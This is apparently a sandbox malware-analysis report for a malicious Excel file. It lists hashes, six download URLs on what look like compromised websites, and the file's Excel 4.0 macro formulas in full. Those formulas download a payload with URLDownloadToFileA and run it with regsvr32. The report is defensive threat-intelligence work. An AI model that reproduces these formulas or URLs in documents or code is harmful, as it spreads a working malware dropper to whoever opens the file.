General
-
Target
da2bb624ea7c36ff8a6386d3a1f02d61177847b6f3d3d0e69002e68a5f526637
-
Size
46KB
-
MD5
8995506dcfcf432deb83b80b897640bf
-
SHA1
bad1dd0bdc62941fb56778afae0e307a0a5b6a81
-
SHA256
da2bb624ea7c36ff8a6386d3a1f02d61177847b6f3d3d0e69002e68a5f526637
-
SHA512
c5fd38cbc3d3177b1946165140bf590c9392ab6979c7917c56bc621a4a0a47d310d819ea805fe50ffcff6a22f37e4b32a3e621f6d920068d0ab56cd8941a68b1
-
SSDEEP
768:74xovDOevZCwrvtizdDTKufT9nz0LTyY1NiMZFYpvrLeci3cr+Uh0VU2nrW:76ovDStT5fTR4Lh1NisFYBc3cr+UqVUf
Malware Config
Extracted
http://consejosdeorlando.com/wp-includes/certificates/v1p9N/
http://mentalpeaks.pro/kymogram/eU1VLEZ99gyh/
http://www.pancoc.com/wp-admin/O3yPsMRR4CtJ9H/
https://lifebotl.com/wp-content/233ZS9dDv/
http://tonziradio.com/wp-includes/9rFNsN1RzIOfa4b9hy/
http://www.cheapmedstore.com/oculiferous/Ogr4KTiQG3riFda/
-
formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://consejosdeorlando.com/wp-includes/certificates/v1p9N/","..\enu.ocx",0,0) =IF('EFALGV'!D10<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://mentalpeaks.pro/kymogram/eU1VLEZ99gyh/","..\enu.ocx",0,0)) =IF('EFALGV'!D12<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.pancoc.com/wp-admin/O3yPsMRR4CtJ9H/","..\enu.ocx",0,0)) =IF('EFALGV'!D14<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://lifebotl.com/wp-content/233ZS9dDv/","..\enu.ocx",0,0)) =IF('EFALGV'!D16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://tonziradio.com/wp-includes/9rFNsN1RzIOfa4b9hy/","..\enu.ocx",0,0)) =IF('EFALGV'!D18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.cheapmedstore.com/oculiferous/Ogr4KTiQG3riFda/","..\enu.ocx",0,0)) =IF('EFALGV'!D20<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe /s ..\enu.ocx") =RETURN()
Signatures
-
Suspicious Office macro 1 IoCs
Office document equipped with 4.0 macros.
Files
-
da2bb624ea7c36ff8a6386d3a1f02d61177847b6f3d3d0e69002e68a5f526637